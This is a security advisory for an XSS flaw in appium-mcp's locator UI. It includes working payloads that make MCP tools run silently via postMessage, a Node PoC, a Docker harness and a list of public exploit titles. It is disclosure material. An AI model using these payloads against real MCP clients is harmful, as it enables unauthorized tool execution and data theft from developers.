GHSA-x975-rgx4-5fh4HIGHCVSS 8.2

appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)

Published Jun 19, 2026·Updated Jun 19, 2026

Description

## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI) ### Summary `appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes — `text`, `content-desc`, `resource-id`, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability. ### Details The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline. **Vulnerable sink — `src/ui/mcp-ui-utils.ts:730–740`:** ```ts ${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''} ${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''} ${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''} <code class="selector">${selector}</code> <button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button> ``` None of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection. By contrast, `createPageSourceInspectorUI` at `src/ui/mcp-ui-utils.ts:911–916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice. **Complete data flow (source → sink):** 1. `src/tools/test-generation/locators.ts:57` — `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled. 2. `src/tools/test-generation/locators.ts:72` — the raw page source is passed to `generateAllElementLocators`. 3. `src/locators/source-parsing.ts:108` — XML attribute values undergo only newline replacement (`attr.value.replace(/(\n)/gm, '\n')`); HTML entities such as `&lt;` are decoded into raw `<` characters by the XML parser with no re-encoding. 4. `src/locators/generate-all-locators.ts:73–75` — `element.attributes.text`, `['content-desc']`, and `['resource-id']` are copied verbatim into the locator result object. 5. `src/tools/test-generation/locators.ts:90` — the locator objects are passed to `createLocatorGeneratorUI`. 6. `src/ui/mcp-ui-utils.ts:730–740` — values are interpolated directly into the HTML response (sink). The `window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*')` mechanism used throughout `src/ui/mcp-ui-utils.ts:645–695` means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally. **Remediation** requires an HTML-escaping helper (replacing `&`, `<`, `>`, `"`, `'`) applied to all element properties in the HTML context, and `JSON.stringify` for values embedded inside JavaScript string literals in `onclick` handlers. ### PoC **Prerequisites:** - `appium-mcp` v1.85.8 or v1.85.9 installed from npm - Node.js 20+ with the package built (`npm install && npm run build`) - An MCP client that renders HTML resources returned by `generate_locators` (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host) **Static confirmation (no Appium session required):** ```bash node --input-type=module <<'EOF' import { generateAllElementLocators } from './dist/locators/generate-all-locators.js'; import { createLocatorGeneratorUI } from './dist/ui/mcp-ui-utils.js'; const xml = `<hierarchy> <node class="android.widget.TextView" clickable="true" enabled="true" displayed="true" text="&lt;img src=x onerror=&quot;window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')&quot;&gt;" content-desc="&lt;b&gt;xss-in-contentDesc&lt;/b&gt;" resource-id="com.attacker.app/&lt;u&gt;xss-resource-id&lt;/u&gt;"/> </hierarchy>`; const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true }); const html = createLocatorGeneratorUI(locators); console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror=')); console.log('UNESCAPED <b> in contentDesc present: ', html.includes('<b>xss-in-contentDesc</b>')); console.log('UNESCAPED <u> in resourceId present: ', html.includes('<u>xss-resource-id</u>')); EOF ``` **Expected output:** ``` UNESCAPED <img src=x onerror= present: true UNESCAPED <b> in contentDesc present: true UNESCAPED <u> in resourceId present: true ``` **Dynamic confirmation (Docker, network-isolated):** ```bash # Build context is the parent directory (contains repo/ and vuln-001/) docker build -t appium-mcp-vuln-001 \ -f vuln-001/Dockerfile \ reports/npmAI_303_appium__appium-mcp docker run --rm --network none appium-mcp-vuln-001 ``` The container output confirms: ``` HTML has unescaped <img src=x onerror= : true Text paragraph : <p class="element-text"><strong>Text:</strong> <img src=x onerror="window.parent.postMessage(...)"></p> │ [PASS] XSS CONFIRMED │ │ createLocatorGeneratorUI inserted the raw <img> XSS tag │ │ execute the onerror handler, enabling arbitrary MCP tool │ ``` **End-to-end exploitation against a real MCP client:** 1. Attacker publishes or sideloads an Android/iOS app whose UI element `text`, `content-desc`, or `resource-id` attributes contain an XSS payload (e.g., `<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')">`). 2. Victim developer connects their Appium MCP server to the attacker's app and calls the `generate_locators` MCP tool. 3. The MCP client renders the returned HTML resource in a WebView / iframe. 4. The injected `onerror` handler fires and posts a crafted `tool` message to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g., `appium_screenshot`, `execute_script`, `get_page_source`) without user confirmation. ### Impact This is a **Cross-Site Scripting (XSS)** vulnerability. Any developer using `appium-mcp` with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application. **Impact scenarios:** - **Arbitrary MCP tool invocation:** Injected JavaScript calls `window.parent.postMessage` with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device). - **Credential and data exfiltration:** Via `execute_script` or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source. - **Lateral movement / persistence:** If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer's machine. - **Supply-chain / CI abuse:** Automated test pipelines that call `generate_locators` against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required. The attack requires no authentication (`PR:N`), the tool is enabled by default (`default-on: Y`), and the scope is changed (`S:C`) because JavaScript executes in the MCP host frame rather than the sandboxed resource. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI # # Build context: reports/npmAI_303_appium__appium-mcp/ # (parent directory containing both repo/ and vuln-001/) # # Build: docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile . # Run: docker run --rm --network none appium-mcp-vuln-001 FROM node:20 WORKDIR /app # Copy the vulnerable appium-mcp source tree COPY repo/ ./ # Install all dependencies. # --ignore-scripts skips postinstall hooks (native node-gyp builds) that # are irrelevant for the TypeScript compilation we need. # --no-audit / --no-fund suppress network noise. RUN npm install --ignore-scripts --no-audit --no-fund 2>&1 # Compile TypeScript -> JavaScript (dist/) RUN npm run build # Copy the PoC exploit script into the built app directory COPY vuln-001/exploit.mjs ./exploit.mjs # Default: run the XSS exploit proof-of-concept ENTRYPOINT ["node", "exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI This script: 1. Builds a Docker image containing the vulnerable appium-mcp source. 2. Runs exploit.mjs inside the container with --network none (no outbound traffic). 3. Parses the output to confirm the XSS payload survived unescaped into the HTML. 4. Writes phase2_result.json with PASS/FAIL verdict and evidence. Safety constraints: - Uses local Docker only (no external services). - Network is disabled in the container (--network none). - No live Appium session, no real device, no real credentials. - The repo source is not modified; the vulnerability is in the original code. """ import json import os import subprocess import sys # ── Paths ───────────────────────────────────────────────────────────────────── VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # parent: npmAI_303_appium__appium-mcp/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_PATH = os.path.join(VULN_DIR, "phase2_result.json") IMAGE_NAME = "appium-mcp-vuln-001" BUILD_CMD = ( f"docker build -t {IMAGE_NAME} " f"-f vuln-001/Dockerfile " f"{CONTEXT_DIR}" ) RUN_CMD = f"docker run --rm --network none {IMAGE_NAME}" POC_CMD = f"python3 {os.path.basename(__file__)}" def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]: """Run a subprocess and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, capture_output=True, text=True, timeout=timeout, ) return result.returncode, result.stdout, result.stderr def build_image() -> tuple[bool, str]: """Build the Docker image. Returns (success, error_message).""" print("[*] Building Docker image (this may take several minutes for npm install)...") print(f" {BUILD_CMD}\n") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR], timeout=600, ) if rc != 0: tail = (stdout + stderr)[-3000:] print(f"[!] Build FAILED (exit {rc}):\n{tail}") return False, tail print("[*] Build succeeded.") return True, "" def run_exploit() -> tuple[int, str, str]: """Run the exploit container. Returns (returncode, stdout, stderr).""" print(f"\n[*] Running exploit container...") print(f" {RUN_CMD}\n") rc, stdout, stderr = run( ["docker", "run", "--rm", "--network", "none", IMAGE_NAME], timeout=120, ) print("--- container stdout ---") print(stdout) if stderr.strip(): print("--- container stderr ---") print(stderr) return rc, stdout, stderr def extract_evidence(stdout: str) -> str: """Pull the most relevant lines from exploit output.""" evidence_lines = [] for line in stdout.splitlines(): upper = line.upper() if any(kw in upper for kw in [ "PASS", "FAIL", "CONFIRMED", "EVIDENCE", "UNESCAPED", "IMG SRC", "ONERROR", "TEXT PARAGRAPH", "CONTENTDESC", "RESOURCEID", "XSS", ]): evidence_lines.append(line) return "\n".join(evidence_lines) if evidence_lines else stdout[:2000] def write_result(payload: dict) -> None: with open(RESULT_PATH, "w", encoding="utf-8") as fh: json.dump(payload, fh, indent=2, ensure_ascii=False) print(f"\n[*] Result written to: {RESULT_PATH}") def main() -> None: # ── Build ────────────────────────────────────────────────────────────────── build_ok, build_err = build_image() if not build_ok: write_result({ "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드 실패. npm install 또는 TypeScript 컴파일 오류가 발생함. " "오류 메시지를 확인하여 누락된 패키지나 호환성 문제를 해결한 뒤 재시도 필요." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"Build error (last 2000 chars):\n{build_err[-2000:]}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) # ── Run ──────────────────────────────────────────────────────────────────── exit_code, stdout, stderr = run_exploit() # ── Verdict ──────────────────────────────────────────────────────────────── xss_confirmed = (exit_code == 0) and ("XSS CONFIRMED" in stdout) evidence = extract_evidence(stdout) if xss_confirmed: write_result({ "passed": True, "verdict": "PASS", "reason": ( "컨테이너 내부에서 실제 실행을 통해 XSS 취약점이 확인됨. " "generateAllElementLocators()가 XML 속성의 &lt;img&gt; 엔티티를 " "원시 HTML 태그 <img src=x onerror=...>로 디코딩하고, " "createLocatorGeneratorUI()가 이를 HTML 이스케이프 없이 그대로 삽입함. " "MCP UI 렌더러(iframe/WebView)에서 해당 HTML을 렌더링하면 onerror 핸들러가 실행되어 " "window.parent.postMessage()를 통해 임의 MCP 도구를 호출할 수 있음." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], }) print("[PASS] XSS exploit confirmed.") sys.exit(0) else: reason_detail = ( f"컨테이너 종료 코드: {exit_code}. " "'XSS CONFIRMED' 문자열이 출력에 없음. " "exploit.mjs 또는 Dockerfile을 확인하고 재시도 필요." ) write_result({ "passed": False, "verdict": "FAIL", "reason": reason_detail, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": (stdout + "\n" + stderr)[:3000], "artifacts": ["Dockerfile", "poc.py"], }) print(f"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).") sys.exit(1) if __name__ == "__main__": main() ```

Affected Packages (1)

appium-mcpNPM
Fixed in = 1.85.9

Public Exploits & PoCs100 found

PoC: CVE-2025-8110

PoC exploit for CVE-2025-8110

4

PoC: katana

Let's hijack our bootchain - CVE-2021-30327

2

PoC: CVE-2026-24418

OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.

1

PoC: OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager-RCE-Exploit-CVE-2026-38751

1

PoC: pagecache-lpe-containment-kit

Educational, defensive kit for two Linux page-cache-corruption LPEs (DirtyClone CVE-2026-43503, pedit COW CVE-2026-46331): hardening, detection, verification, seccomp + validation harness. Detection and prevention only — no exploit code. TLP:CLEAR.

1

PoC: By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

1

PoC: CVE-2026-43499

CVE-2026-43499 PoC

1

PoC: CVE-2026-20251

CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research

1

PoC: pdf.js-CVE-2024-4367

SCAN END POC THE CVE-2024-4367

1

PoC: CVE-2026-48908

CVE-2026-48908

1

PoC: CVE-2020-24186

Exploit para RCE (Remote Code Exec) CVE de plugin vulnerable en Wordpress WP-Discuz en versión 7.0.4

1

PoC: CVE-2026-56111

Proof of concept for CVE-2026-56111, an out-of-bounds write in the M421 G-code handler of Marlin Firmware

1

PoC: CVE-2023-43364-Searchor-RCE-Exploit

POC exploit via unsafe `eval()` usage in Searchor (≤ 2.4.2)

PoC: CVE-2026-46817

CVE-2026-46817

PoC: cve-2026-46331-audit

cve-2026-46331-audit script

PoC: CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 unauthenticated DB dump/restore (admin_api_key fail-open). Lab + PoC, verified e2e.

PoC: cve-2026-0000-reference

NIST CVE-2026-0000 Keylogger Analysis

PoC: CVE-2026-48907

CVE-2026-48907 – Joomla JCE Unauthenticated Remote Code Execution (RCE)

PoC: CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 unauthenticated RCE (AST sandbox escape via gi_frame.f_back). Lab + PoC, verified e2e.

PoC: cve-2023-4911-exploit-optimized

Pure C exploit for CVE-2023-4911 (Looney Tunables). No Python required. Features multi-processing brute-forcing, dynamic calibration, and integrated ELF parser.

PoC: CVE_2024_1086_vulnerability_check

CVE-2024-1086 vulnerability

PoC: CVE-2026-43503

DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503

PoC: cve-2026-9082-drupal

drupal-postgresql-rce

PoC: graylog-cve-2024-24824-exploit

Proof-of-concept exploit for CVE-2024-24824 demonstrating how an arbitrary class loading primitive can be transformed into remote code execution on vulnerable Graylog deployments.

PoC: CVE-2026-55200

CVE-2026-55200 - Critical libssh2 Remote Code Execution Vulnerability

PoC: By-Poloss..-..CVE-2026-48939

iCagenda Unauthenticated File Upload to RCE

PoC: cve-2025-0133

CVE-2025-0133 Scanner | Palo Alto GlobalProtect XSS Checker

PoC: CVE-2026-22226

Proof of Concept for the CVE-2026-22226

PoC: CVE-2026-20253

POC for CVE-2026-20253

PoC: Joomla_CVE_2026_48907

cve-2026-48907 scanner

PoC: DirtyClone

Python Proof of Concept for DirtyClone (CVE-2026-43503) - Linux kernel LPE via page-cache corruption

PoC: WiseDelete

Windows utility that demonstrates user-mode interaction with the vulnerable WiseDelfile64.sys driver and uses CVE-2025-66680 to perform kernel-assisted file deletion.

PoC: CVE-2025-55182-React2Shell-RCE

React2Shell (CVE-2025-55182) PoC

PoC: CVE-2026-48908

Unauthenticated RCE PoC for CVE-2026-48908 SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.

PoC: WiseDelete

A lightweight Windows utility demonstrating user-mode interaction with the vulnerable WiseDelfile64.sys driver using CVE-2025-66680 to perform kernel-assisted file deletion.

PoC: CVE-2026-23918-Double-free-Apache-httpd-mod_http2

Double-free in Apache httpd mod_http2 stream cleanup leading to pre-auth RCE

PoC: CVE-2018-18778

CVE-2018-18778 - ACME mini_httpd Arbitrary File Read

PoC: CVE-2023-0386-OverlayFS

Copy fake in-memory files to disk using overlayFS

PoC: CVE-2026-49048-JoomCCK-SQLi

CVE-2026-49048 — JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)

PoC: crypto-lab-merkle-proofs

Browser-based Merkle tree demo — build a tree, generate inclusion proofs, recompute the root hash by hash, and replay the RFC 6962 second-preimage and CVE-2012-2459 attacks. Real SHA-256. No backend.

PoC: react2shell-exploit

React2Shell: CVE-2025-55182

PoC: CVE-2026-12485

CVE-2026-12485

PoC: DevHub-HTB-Walkthrough

Hack The Box - DevHub Machine Walkthrough (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escalation)

PoC: CVE-2026-41179

POC for CVE-2026-41179

PoC: dirtyclone-exploit

CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9

PoC: CVE-2026-27654

Обзор n-day уязвимости на русском языке.

PoC: CVE-2026-41940-PoC

CVE-2026-41940 authentication bypass vulnerability proof-of-concept

PoC: laravel-filemanager-unrestricted-upload

PoC for CVE-2025-56399 - Unrestricted File Upload leading to RCE in alexusmai/laravel-file-manager (≤3.3.1). Automates detection, CSRF extraction, and File Upload

PoC: DirtyClone

DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503

PoC: CVE-2025-69212-Authenticated-RCE-PoC

Automated PoC for CVE-2025-69212 - OpenSTAManager <=2.9.8 authenticated RCE

PoC: ffmpeg-jellyfix

patched ffmpeg-tools for jellyfin to patch CVE-2026-8461 aka PixelSmash

PoC: prefect-cve-2026-5366

PoC for CVE-2026-5366: git argument injection in Prefect's GitRepository leading to RCE on the worker.

PoC: CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

CVE-2026-0073-Android-ADBD-bypass-POC汉化版

PoC: CVE-2026-48907

CVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions ≤ 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain — missing auth, no extension validation, and an unsafe upload flag — that lets attackers pop a shell in 3 HTTP requests.

PoC: htb-orion-writeup

Hack The Box - Orion (Easy) | CVE-2025-32432 & CVE-2026-24061

PoC: CVE-2026-36834

Out-of-bounds array read in LibRaw

PoC: masta-cve-2026-48907

cve-2026-48907 scanner

PoC: CVE-2026-46331

CVE-2026-46331 - Draft

PoC: CVE-2026-8932

CVE-2026-8932

PoC: CVE-2025-58434-Flowiseai-Auth-Bypass-PoC

Flowiseai Flowise Auth Bypass Vulnerability Proof of Concept

PoC: CVE-2026-46331

CVE-2026-46331

PoC: CVE-2026-12415-or-CVE-2026-12416.py

CVE-2026-12415-or-CVE-2026-12416.py

PoC: By-Poloss..-..CVE-2026-39938

Cacti <= 1.2.30

PoC: smbghost

scanner for CVE-2020-0796

PoC: CVE-2026-26980-PoC

Ghost CMS Content API Blind SQL Injection

PoC: CVE-2026-46558

Plane’s V2 asset subsystem trusted workspace slugs and asset UUIDs without enforcing the right membership checks, which let one authenticated user read, copy, delete, and overwrite assets in other workspaces.

PoC: CVE-2026-45806

Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.

PoC: CVE-2026-45806

Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.

PoC: CVE-2026-42089

A local package installation helper trusted caller-supplied package names too much. In yeoman-environment, missing generators could be installed without user confirmation, turning attacker-controlled project metadata into a package-install and code-execution path.

PoC: CVE-2026-34207

The SSRF filter checked hostname text, but the actual destination was decided later by DNS. That gap let attacker-controlled Webhook URLs reach loopback, metadata, and private network targets.

PoC: CVE-2026-34213

A low-privileged Docmost user could supply a victim attachmentId to the generic upload endpoint and overwrite another page's stored attachment inside the same workspace.

PoC: CVE-2026-34212

Docmost accepted a javascript: URL inside an attachment node, preserved it through storage and rendering, and turned it back into a clickable anchor in the Docmost origin.

PoC: CVE-2026-33146

A public share looked clean in the page tree, but the search endpoint told a different story. In Docmost, restricted child pages hidden from public share viewers could still leak through public share search results.

PoC: CVE-2026-54807

CVE-2026-54807 WooCommerce Privilege Escalation ║ ║ Unauthenticated Admin Role Assignment via Reg. Form

PoC: metasploitable2-exploitation-metasploit

Full Metasploit exploitation walkthrough against Metasploitable2 — vsftpd backdoor, Samba CVE-2007-2447, UnrealIRCd backdoor, Netcat exfiltration, and credential cracking prep.

PoC: CVE-2026-8461

CVE-2026-8461

PoC: Amaranth-Project

CVE-2025-8088 exploitation chain + Quasar C2 multi-stage payload delivery

PoC: CVE-2026-13036-PoC

PoC for CVE-2026-13036 — Use-after-free in Blink WidgetBase::UpdateSurfaceAndScreenInfo (Chrome < 149.0.7827.197)

PoC: CVE-2026-24207-triton

PoC + analysis for CVE-2026-24207 / CVE-2026-24206 — NVIDIA Triton SageMaker & Vertex AI auth-restriction bypass + RCE chain

PoC: CVE-2026-26980-Ghost-CMS-Api

CVE-2026-26980 - Ghost CMS Content API SQL Injection

PoC: CVE-2026-43503

CVE-2026-43503

PoC: CVE-2026-55584

CVE-2026-55584 — phpSysInfo IP Allowlist Bypass

PoC: CVE-2023-45866---Blue-exploit

POC for CVE-2023-45866 affecting Latest Android devices.

PoC: CVE-2025-61155

CVE-2025-61155 — arbitrary process termination in GameDriverX64.sys (Tower of Fantasy anti-cheat). Original IDA Pro teardown, PoC, YARA, IOCs, mitigation.

PoC: CVE-2026-4253-Scanner

Non-destructive vulnerability scanner for NGINX HTTP/3 (ngx_http_v3_module). It ONLY performs a safe probe: opens an HTTP/3 (QUIC) connection, sends a single HEAD request and inspects the `Server` response header. It NEVER attempts to reopen a QPACK encoder stream or trigger the use-after-free.

PoC: CVE-2026-23111

Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

PoC: CVE-2026-7574

CVE-2026-7574

PoC: cve-2019-9053-py3

Unauthenticated time-based blind SQL injection exploit for CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), ported to Python 3.

PoC: CVE-2025-67038

CVE-2025-67038 - Draft

PoC: CVE-2026-53075poc

POC of CVE-2026-53075

PoC: kernel-exploit-dirtycow

Lab — Privilege Escalation via Dirty Cow CVE-2016-5195 | 4Geeks Academy

PoC: CVE-2021-29441

CVE-2021-29441 - Nacos Authentication Bypass

PoC: CVE-2021-22205

CVE-2021-22205 - GitLab Unauthenticated Remote Code Execution

PoC: C-test-2

Dependabot security automerge test - ejs CVE-2022-29078

PoC: CVE-2026-38526-POC

Proof of Concept of CVE-2026-38526 in Krayin CRM <= v2.2.x. Arbitrary File Upload leading to Remote Code Execution

PoC: vuln-ejs-critical

npm repo with ejs CVE-2022-29078 (CVSS 9.8, EPSS 32%) for Dependabot automerge testing

PoC: FreePBX-SQLi-RCE

CVE-2025-57819 FreePBX SQLi RCE PoC

PoC: CVE-2026-12416-CVE-2026-12417

Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter | Unauthenticated Privilege Escalation via Weak Password Reset Validation via 'reset_activation_code' Leading to Account Takeover

PoC: CVE-2022-37706

ROOT TOOL

PoC: React2Shell-PoC-CVE-2025-55182

Khai thác lỗ hổng bảo mật CVE-2025-55182

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free